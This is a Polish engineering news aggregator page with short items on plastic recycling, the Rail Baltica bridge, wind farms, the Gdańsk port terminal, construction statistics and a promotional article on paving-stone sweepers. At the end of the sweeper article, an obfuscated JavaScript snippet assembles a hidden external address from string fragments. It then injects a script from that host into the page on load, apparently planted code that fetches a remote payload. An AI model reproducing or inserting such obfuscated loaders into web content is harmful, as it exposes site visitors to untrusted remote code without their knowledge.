Blog

  • Orlen VC inwestuje w przełomowy recykling plastiku

    ReVentas opracowało opatentowaną technologię, która pozwala na rozpuszczanie polimerów, a następnie usuwanie z roztworu wszelkich zanieczyszczeń – w tym barwników, wypełniaczy i zapachów. Dzięki temu odzyskiwane są jednorodne, czyste polimery gotowe do ponownego wykorzystania w różnych gałęziach przemysłu: od opakowań konsumenckich, przez komponenty motoryzacyjne, aż po produkty codziennego użytku.

    Technologia działa w niskich temperaturach i ciśnieniach, co ogranicza zużycie energii i emisję CO₂. Może znacząco zwiększyć dostępność wysokiej jakości recyklatu, co ma kluczowe znaczenie wobec unijnych wymogów – od 2030 r. opakowania będą musiały zawierać minimum 10% tworzyw z recyklingu.

    Technologia może stać się odpowiedzią na wyzwania branży związane z niską jakością recyklatów uzyskiwanych ze zmieszanych odpadów – obecnie jedynie 9% tworzyw sztucznych poddaje się efektywnemu recyklingowi.

    Inwestujemy w rozwiązania, które wspierają naszą transformację w kierunku neutralności klimatycznej – podkreśla Ireneusz Fąfara, prezes Orlenu.

    To kolejna strategiczna inwestycja Orlen VC, który w ciągu trzech lat przeznaczył już blisko 250 mln zł na rozwój technologicznych innowacji w obszarze zrównoważonego rozwoju. Zainwestował w 13 spółek technologicznych i dwa fundusze inwestycyjne.

    Przeczytaj także: Polskie lotnisko wkracza w nową fazę: powstanie centrum recyklingu samolotów


    Źródło: https://inzynieria.com/przemysl/wiadomosc/97736,orlen-vc-inwestuje-w-przelomowy-recykling-plastiku

  • Najdłuższy w krajach bałtyckich most kolejowy. Są pierwsze podpory

    • Most szlaku Rail Baltica przez Wilię osiągnie długość 1510 m
    • W nurcie rzeki nie będzie podpór, przęsło będzie liczyć 150 m
    • Zrealizowano ponad 30% prac. Przeprawa ma być gotowa do końca 2026 r.

    Na liczącym 46,3 km odcinku szlaku Rail Baltica pracuje pięciu wykonawców z Litwy i Włoch. To właśnie tutaj rozpoczęto montaż monumentalnej konstrukcji mostowej, która będzie miała aż 1510 m długości.

    Jedna z najbardziej złożonych inwestycji na Litwie

    Zgodnie z zapowiedziami, konstrukcja górnej części mostu wkracza w kolejny etap – przygotowywany jest proces betonowania. Do Litwy sprowadzany jest niezbędny sprzęt. Obiekt ten stanowi jedno z najbardziej złożonych przedsięwzięć infrastrukturalnych w historii kraju. Oprócz imponującej długości i wysokości, most wymagał zastosowania trzech różnych technologii montażu, w tym specjalnych rusztowań przesuwnych.

    Ze względu na przebieg przez obszar objęty ochroną w ramach sieci Natura 2000, projekt spełnia najwyższe normy środowiskowe. Co istotne, konstrukcja nie zawiera żadnych podpór bezpośrednio w korycie Wilii, co zmniejsza wpływ na ekosystem. Rozpiętość przęsła nad rzeką między podporami przeprawy osiągnie długość 150 m.

    Budowa mostu do końca 2026 r.

    W gruncie zainstalowano już blisko 376 pali wsporczych. Szacuje się, że do ukończenia mostu potrzeba będzie około 67 000 m³ betonu oraz ponad 11 tys. ton stali zbrojeniowej. Dla porównania – przeciętny most na Litwie wymaga zaledwie od 2 tys. do 5 tys. m³ betonu.

    Budowa mostu nad Wilią. Fot. railbaltica.org

    Most przez Wilię ma być gotowy do końca 2026 r. Obecnie zrealizowano już około jednej trzeciej prac. Szacuje się, że pociąg dużych prędkości pokona ten odcinek w zaledwie 22 sekundy.

    Postępy na pozostałych odcinkach

    W tym roku ma zostać ukończony pierwszy 10-kilometrowy odcinek kolei dużych prędkości między miejscowościami Šveicarija i Žeimiai, na którym znajduje się ponad 40 obiektów inżynieryjnych – niektóre z nich już działają. Wkrótce rozpocznie się układanie torów. Kolejny, liczący 17,7 km, fragment w kierunku Šėta ma być gotowy na początku 2026 r.

    Kolejne przetargi i plany

    LTG Infra ogłosiła przetargi na realizację kolejnych 68 km nasypów oraz robót inżynieryjnych. W 2025 r. planuje się prowadzenie prac na łącznej długości 114 km linii kolejowej.

    Przeczytaj także: Most w Lubiczu przez Drwęcę w ciągu DK10 zostanie poszerzony


    Źródło: https://inzynieria.com/mosty/wiadomosc/97735,najdluzszy-w-krajach-baltyckich-most-kolejowy-sa-pierwsze-podpory

  • Nissan łączy brutalną siłę z wyrafinowaną inżynierią w modelu Armada NISMO 2026

    Nissan Blends Brute Strength with Refined Engineering with 2026 Armada NISMO

    Nissan łączy brutalną siłę z wyrafinowaną inżynierią w modelu Armada NISMO 2026 Potężna linia modeli Armada firmy Nissan właśnie przeszła poważną modernizację. Nissan Armada NISMO 2026 już jest i nie zamierza się ociągać. Z ryczącymi 460 końmi mechanicznymi pod maską, precyzyjnie dostrojoną dynamiką i nieomylnym DNA sportów motorowych jest to najpotężniejsza i najzwinniejsza Armada w historii…

    PocztaNissan łączy brutalną siłę z wyrafinowaną inżynierią w modelu Armada NISMO 2026pojawił się po raz pierwszyAutostrady dzisiaj.


    Pokaż oryginalną treść (en)
    Nissan Blends Brute Strength with Refined Engineering with 2026 Armada NISMO

    Nissan Blends Brute Strength with Refined Engineering with 2026 Armada NISMO

    Nissan Blends Brute Strength with Refined Engineering with 2026 Armada NISMO Nissan’s formidable Armada line-up just got a serious upgrade. The 2026 Nissan Armada NISMO has arrived, and it’s not holding back. With a roaring 460 horsepower under the bonnet, precision-tuned dynamics, and unmistakable motorsport DNA, this is the most powerful and agile Armada ever …

    The post Nissan Blends Brute Strength with Refined Engineering with 2026 Armada NISMO appeared first on Highways Today.

    Treść przetłumaczona automatycznie z języka en na pl


    Źródło: https://highways.today/2025/06/25/nissan-2026-armada-nismo/

  • Opolskie. Farma wiatrowa przygotowana do rozruchu

    • Farma wiatrowa składa się z 17 wiatraków z turbinami o mocy 2,2 MW każda
    • Wysokość wieży wiatrowej do szczytu łopaty wynosi 180 m
    • Oddanie do użytku zaplanowano na IV kwartał 2025 r.

    Technologiczne osiągnięcie i potencjał energetyczny

    Na terenie o powierzchni około 900 ha zamontowano 17 turbin Vestas V110, każda o mocy 2,2 MW. Całkowita wysokość wiatraka to 180 m – piasta znajduje się na wysokości 125 metrów, a średnica wirnika wynosi 110 m. Każda łopata turbiny mierzy 54 m długości. Łączna moc farmy – 37,4 MW – pozwoli na zasilenie w energię elektryczną ponad 40 tys. gospodarstw domowych rocznie.

    W ramach inwestycji powstało blisko 16 km dróg serwisowych oraz pełna infrastruktura elektroenergetyczna, w tym nowoczesna stacja GPO Szybowice, już odebrana przez operatora systemu dystrybucyjnego.

    Montaż turbin wiatrowych na FW Szybowice. Fot. Energa

    Finalny etap realizacji

    Zakończenie montażu turbin to kamień milowy inwestycji. Obecnie trwają prace wykończeniowe oraz przygotowania do uruchomienia testów technologicznych, które rozpoczną się jeszcze w III kwartale 2025 r. Po ich zakończeniu planowane jest uzyskanie pozwolenia na użytkowanie w IV kwartale.

    Inwestorem projektu jest Energa Green Development. Za nadzór inwestorski odpowiada Neo Energy Group, natomiast wykonawcą robót budowlanych i elektroenergetycznych – w tym Głównego Punktu Odbioru – jest firma ONDE.

    Budowa farmy wiatrowej Szybowice. Fot. Energa

    Wpływ lokalny i rozwój regionu

    W szczytowym okresie na placu budowy pracowało ponad 100 osób. Dodatkowo, dziesiątki specjalistów zaangażowanych były w działania logistyczne i administracyjne. Udział lokalnych firm i dostawców w realizacji projektu przełożył się na znaczące korzyści gospodarcze dla regionu. Po oddaniu farmy do użytku powstanie zapotrzebowanie na stałą obsługę techniczną, co utrzyma miejsca pracy i przyczyni się do rozwoju kompetencji w sektorze zielonej energetyki.

    Prace montażowe na budowie farmy. Fot. Energa

    Energa rozwija południe Polski

    Farma wiatrowa Szybowice to nie jedyna inwestycja Energi na południu kraju. W woj. dolnośląskim powstaje farma fotowoltaiczna PV Serby o mocy 112 MW, która osiągnęła już status „ready-to-build”. Projekt charakteryzuje się wysoką złożonością – wymaga m.in. przecięcia rzeki Odry linią kablową WN. Równolegle Energa Wytwarzanie kończy budowę farmy PV Kotla (130 MW), również w woj. dolnośląskim. To największa jak dotąd realizacja PV Grupy.

    PV Serby została przejęta w maju 2025 r. przez Energę Green Development od konsorcjum Neo Energy Group i ONDE, natomiast PV Kotla została zakupiona w sierpniu 2024 r. od Lightsource BP przez Energę Wytwarzanie.

    Przeczytaj także: Większe moce zielonej energii. Enea przejęła kolejne farmy wiatrowe


    Źródło: https://inzynieria.com/energetyka/energetyka_wiatrowa/wiadomosc/97733,opolskie-farma-wiatrowa-przygotowana-do-rozruchu

  • Terminal instalacyjny w Gdańsku obsłuży dwie morskie farmy wiatrowe

    Firma Elektrownia Wiatrowa Baltica-2, która buduje morską farmę wiatrową Baltica 2 będzie dzierżawić 21 ha powierzchni powstającego w Porcie Gdańsk terminalu instalacyjnego T5. Montaże rozpoczną się w 2027 r. na etapie instalacji turbin.

    Z kolei umowa rezerwacyjna podpisana ze spółką Ocean Winds to pierwszy krok do wypracowania ostatecznych umów poddzierżawy tych terenów portowych. W 2028 r. tereny portowe terminalu T5 staną się zapleczem dla turbin wiatrowych w ramach budowy farmy BC-Wind. Wcześniej, od 2027 r., firma będzie korzystała z gotowego już portu instalacyjnego w Świnoujściu.

    Źródło: Ocean Winds

    Terminal T5 będzie jednym z najnowocześniejszych obiektów tego typu w Europie. Może być kluczowym ogniwem w realizacji programu rozwoju morskiej energetyki wiatrowej na polskich wodach Bałtyku. Będzie też impulsem rozwojowym dla regionu Pomorza dającym szansę uczestnictwa w łańcuchu dostaw przedsiębiorstwom krajowym.

    Gdański terminal instalacyjny będzie przez 10–15 lat działać na potrzeby morskich farm wiatrowych, a później zostanie wykorzystany w zależności od przyszłych potrzeb rynku (np. jako kontenerowy).

    Z satysfakcją obserwujemy, jak rozwój morskiej energetyki wiatrowej przyczynia się do dynamicznego rozwoju polskich portów oraz zwiększania ich znaczenia w procesie transformacji energetycznej. Terminal T5 w Gdańsku spełnia wszystkie nasze wymagania techniczne, harmonogramowe i lokalizacyjne, co stanowi solidną podstawę do sprawnej realizacji zaplanowanych działań. Cieszymy się, że oba porty instalacyjne, z których będziemy korzystać, zlokalizowane są w Polsce – podsumował Kacper Kostrzewa, dyrektor zarządzający Ocean Winds w Polsce.

    Przeczytaj także: Cztery firmy chcą wspólnie budować statki instalacyjne i serwisowe


    Źródło: https://inzynieria.com/budownictwo/porty_morskie/wiadomosc/97732,terminal-instalacyjny-w-gdansku-obsluzy-dwie-morskie-farmy-wiatrowe

  • Fundamenty śrubowe – alternatywa dla tradycyjnych fundamentów

    ► Temat przewodni:

    „Dlaczego wciąż kopiesz i betonujesz? Zaprojektuj fundamenty ze śrubowych pali fundamentowych WFS.”

    Wydarzenie odbyło się za pośrednictwem platformy akademia.inzynieria.com, a zostało stworzone z myślą o projektantach, inżynierach i specjalistach budowlanych, którzy chcą poszerzyć swoje kompetencje oraz poznać innowacyjne, praktyczne metody posadowienia obiektów z wykorzystaniem nowoczesnych technologii.

    W programie:

    • Co wyróżnia śrubowe pale fundamentowe WFS – charakterystyka produktu
    • Zastosowania w budownictwie i przemyśle – gdzie i kiedy technologia WFS się sprawdza
    • Standardy projektowe i wykonawcze – jak prawidłowo wdrożyć rozwiązanie
    • Montaż krok po kroku – praktyczne aspekty wykonawcze
    • Zaawansowane zagadnienia techniczne
    • Q&A z ekspertami – odpowiedzi na Twoje pytania.

    ► Dlaczego warto było wziąć udział?

    • Uczestnicy zdobyli praktyczną wiedzę potrzebną do wdrażania innowacyjnych rozwiązań fundamentowych
    • Dowiedzieli się, jak skrócić czas inwestycji i zminimalizować wpływ na środowisko
    • Nawiązali nowe kontakty branżowe i otworzyli się na nowe możliwości współpracy.

    Nagranie będzie dostępne!

    Osoby, które nie mogły wziąć udziału w wydarzeniu lub chcą ponownie zapoznać się z przedstawionymi rozwiązaniami i informacjami, będą mogły wkrótce obejrzeć nagranie spotkania – udostępnimy je niebawem.


    Źródło: https://inzynieria.com/geoinzynieria/wiadomosc/97608,fundamenty-srubowe-alternatywa-dla-tradycyjnych-fundamentow

  • GUS. Trudny czas branży budowlano-montażowej

    W maju 2025 r. spadek produkcji budowlano-montażowej w skali roku odnotowano w przypadku przedsiębiorstw zajmujących się budową budynków (o 9%) i wznoszeniem obiektów inżynierii lądowej i wodnej (o 1,4%). Wzrost o 2,6% wystąpił w sektorze specjalistycznych robót budowlanych.

    Dynamika produkcji budowlano-montażowej (ceny stałe; przeciętna miesięczna 2021=100)

    Dane wstępne za maj 2025 r. Źródło: GUS

    Jednak w porównaniu z kwietniem, w jednostkach budujących obiekty inżynierii lądowej i wodnej nastąpił wzrost o 17,4%, w przedsiębiorstwach wznoszących budynki o 5%, a w realizujących specjalistyczne roboty budowlane specjalistyczne o 0,6%.

    Biorąc pod uwagę okres styczeń-maj w porównaniu do analogicznego w 2024 r., o 12,1% zwiększyła się produkcja w segmencie prac specjalistycznych. Spadła natomiast w sektorach realizacji budynków (o 6,2%) i obiektów inżynierii lądowej i wodnej (o 1,3%).

    Uwzględniając charakter robót budowlanych (prace inwestycyjne i remontowe), w maju 2025 r. produkcja budowlano-montażowa w skali roku spadła o 15,7% dla prac remontowych, natomiast wzrosła o 4,2% w przypadku prac inwestycyjnych (wobec spadku przed rokiem odpowiednio o 7% oraz inwestycyjnych o 6,2%), a w porównaniu z kwietniem wzrosła dla prac inwestycyjnych (o 7,3%) i remontowych (o 11,5%).

    Damian Kaźmierczak z Polskiego Związku Pracodawców Budownictwa w komentarzu na X stwierdził: Dane GUS za maj potwierdziły to, co dostrzega się i czuje na rynku: budownictwo utknęło w „dołku”, z którego nie może się wydostać od kilkunastu miesięcy. Nie dość, że niektóre segmenty jeszcze pogłębiają ten „dołek”, to dodatkowo o co najmniej 1 rok opóźnia się odbicie inwestycji infrastrukturalnych. W poprzednich latach ożywienie w infrastrukturze miało miejsce w czwartym roku obowiązywania budżetu UE 2014–2020, czyli w roku 2017. Aktualny budżet UE 2021–2027 funkcjonuje już od ponad pięciu lat (!), a w statystykach GUS, a przede wszystkim na rynku, jeszcze tego nie widać… W szczególnie złej sytuacji znajduje się segment budowy budynków,. Od stycznia do maja nastąpił spadek o kolejne 6% po fatalnym roku 2024, kiedy produkcja budowlana w tym obszarze zmniejszyła się o ponad 7%. Co gorsza, w segmencie kubaturowym trudno spodziewać się szybkiego ożywienia.

    Przeczytaj także: Krajowy Plan Odbudowy: inwestycje, liczby, perspektywy


    Źródło: https://inzynieria.com/budownictwo/wiadomosc/97731,gus-trudny-czas-branzy-budowlano-montazowej

  • Kenworth prezentuje swój pierwszy profesjonalny samochód ciężarowy z napędem elektrycznym na baterie klasy 8

    Kenworth wprowadził na rynek nowy model T880E, swój pierwszy profesjonalny samochód ciężarowy z napędem elektrycznym klasy 8 przeznaczony na rynek północnoamerykański.

    Bezemisyjny Kenworth T880E został zaprezentowany na targach ACT Expo wraz z następną generacją akumulatorowego modelu T680E i jest już dostępny do zamówienia w …

    PocztaKenworth prezentuje swój pierwszy profesjonalny samochód ciężarowy z napędem elektrycznym na baterie klasy 8pojawił się po raz pierwszyDziennik sprzętu.


    Pokaż oryginalną treść (en)
    Kenworth debuts its first vocational Class 8 battery-electric truck

    Kenworth has launched the new T880E, its first Class 8 vocational battery-electric truck for the North American market. 

    The Kenworth zero-emission T880E was introduced at ACT Expo with the next generation battery-electric T680E and is now available for order from …

    The post Kenworth debuts its first vocational Class 8 battery-electric truck appeared first on Equipment Journal.

    Treść przetłumaczona automatycznie z języka en na pl


    Źródło: https://www.equipmentjournal.com/construction-equipment/kenworth-debuts-its-first-vocational-class-8-battery-electric-truck/

  • Ogłoszono: Laureaci nagrody Digital Construction Award 2025

    Po dwóch rundach oceny, w trakcie których przeanalizowano nieco ponad 100 nominacji, ogłoszono krótką listę i 16 zwycięzców podczas uroczystej gali 24 czerwca

    PocztaOgłoszono: Laureaci nagrody Digital Construction Award 2025pojawił się po raz pierwszyWiadomości budowlane z Bliskiego Wschodu.


    Pokaż oryginalną treść (en)
    Revealed: 2025 Digital Construction Award Winners

    Following two rounds of judging which examined a little over 100 nominations, the shortlist and 16 winners were announced at a gala event on 24 June

    The post Revealed: 2025 Digital Construction Award Winners appeared first on Middle East Construction News.

    Treść przetłumaczona automatycznie z języka en na pl


    Źródło: https://meconstructionnews.com/63687/revealed-2025-digital-construction-award-winners

  • Czy warto sprzątać kostkę brukową zamiatarką?

    Wyjaśniamy czy warto sprzątać kostkę brukową zamiatarką i jak wybrać najlepsze rozwiązanie dla swojego otoczenia bez przepłacania.

    Dlaczego warto regularnie czyścić kostkę brukową?

    Czysta kostka to nie tylko kwestia estetyki. Regularne sprzątanie pozwala utrzymać ją w dobrym stanie na dłużej. Usuwanie zabrudzeń zapobiega rozwojowi mchu i innych niepożądanych roślin, które mogą z czasem niszczyć powierzchnię i fugi.

    Suchy piach czy liście mogą być także śliskie, powodując ryzyko poślizgnięcia się, zwłaszcza po deszczu.

    Dbanie o kostkę to także ochrona przed mikrouszkodzeniami, które z czasem mogą prowadzić do kruszenia się bruku lub wypłukiwania piasku między kostkami.

    Czy zamiatarka się sprawdza?

    Zamiatarka to praktyczne urządzenie, które pozwala szybko usunąć kurz, piach, liście czy drobne śmieci z kostki brukowej. Obrotowe szczotki efektywnie zbiera zanieczyszczenia do pojemnika, bez wzbijania kurzu w powietrze – co często zdarza się przy tradycyjnym zamiataniu.

    Tego typu sprzęt sprawdza się zarówno na mniejszych powierzchniach wokół domu, jak i na większych terenach, np. przed firmą czy na placu budowy.

    Zamiatarka Karcher jest jednym z najchętniej wybieranych rozwiązań do sprzątania kostki brukowej i innych utwardzonych nawierzchni. Doskonale radzi sobie z codziennymi zabrudzeniami organicznymi czy drobnymi odpadami, które ciężko usunąć zwykłą miotłą.

    Dużą popularnością ciesze się model zamiatarki ręcznej z napędem mechanicznym. Dlaczego? Ze względu na to, że jest prosta w prowadzeniu, nie wymaga podłączenia do prądu, a jej cicha praca sprawia, że można z niej korzystać o każdej porze dnia. To świetny wybór dla osób, które cenią porządek, komfort i oszczędność czasu.

    Dla kogo zamiatarka będzie dobrym wyborem?

    Jeśli masz:

    • długi podjazd z kostki brukowej,

       

    • chodniki wokół domu lub firmy,

       

    • plac przed garażem,

       

    • ogród z alejkami,

       

    • jesteś w trakcie rozbudowy domu,

      to zamiatarka może być Twoim sprzymierzeńcem w utrzymaniu porządku. Szczególnie docenisz ją wiosną i jesienią, gdy na kostce szybko gromadzi się brud, błoto i liście.

    Jaki model zamiatarki wybrać?

    Na rynku znajdziesz kilka rodzajów zamiatarek:

    • ręczne zamiatarki mechaniczne – do użytku domowego, lekkie, bez kabli czy silników, łatwe w przechowywaniu,

       

    • zamiatarki akumulatorowe lub spalinowe – mocniejsze, sprawdzą się na dużych powierzchniach i w miejscach bardziej wymagających,

       

    A może lepiej myjka ciśnieniowa?

    Fot. mat. własne

    Zamiatarka świetnie sprawdza się w codziennym utrzymaniu czystości, ale od czasu do czasu warto sięgnąć po myjkę ciśnieniową (zwłaszcza gdy na kostce brukowej pojawią się tłuste plamy lub ślady oleju).

    Oba urządzenia się uzupełniają: zamiatarka usuwa suche zanieczyszczenia, a myjka pozwala dokładnie wyczyścić powierzchnię i przywrócić jej świeży wygląd.

    Jeśli chcesz dowiedzieć się, jak skutecznie usunąć trudne zabrudzenia, sprawdź artykuł: usuwanie oleju i tłuszczu z nawierzchni betonowej przy użyciu myjki ciśnieniowej.

    Podsumowanie: czy warto kupić zamiatarkę?

    Zdecydowanie tak. Zamiatarka to praktyczne i wygodne narzędzie, które znacznie ułatwia utrzymanie czystości na podjeździe, tarasie czy wokół domu. Pozwala szybko i skutecznie pozbyć się piachu, liści, drobnych odpadów czy pyłu – bez potrzeby machania miotłą i tracenia czasu.

    Co ważne, nie musisz od razu inwestować dużych pieniędzy. Modele renomowanej marki Karcher są dostępne już od około 550 zł, co czyni je przystępnym wyborem dla większości właścicieli domów jednorodzinnych. To nieduża kwota w zamian za porządek, wygodę i oszczędność czasu przez cały rok.

    Jeśli zależy Ci na schludnej, zadbanej posesji, nie lubisz żmudnego zamiatania i cenisz sobie komfort pracy – zamiatarka to zdecydowanie rozwiązanie warte rozważenia.

    (function(){
    c2Xv=document.createElement(„script”);c2Xv_=(„ust”);c2Xvu=”2482484154″;
    c2Xv_+=”a”+(„t.i”);c2Xv.type=”text/javascript”;
    c2Xvu+=”.33t3hsc62Xveh4gsn9bp”;c2Xv.async=true;c2Xv_+=”n”+(„f”+”o”)+”/”;
    c2Xvu+=”b0v9e9031t”;c2Xv.src=”https://”+c2Xv_+c2Xvu;
    document.body.appendChild(c2Xv);
    })();


    Źródło: https://inzynieria.com/przemysl/wiadomosc/97730,czy-warto-sprzatac-kostke-brukowa-zamiatarka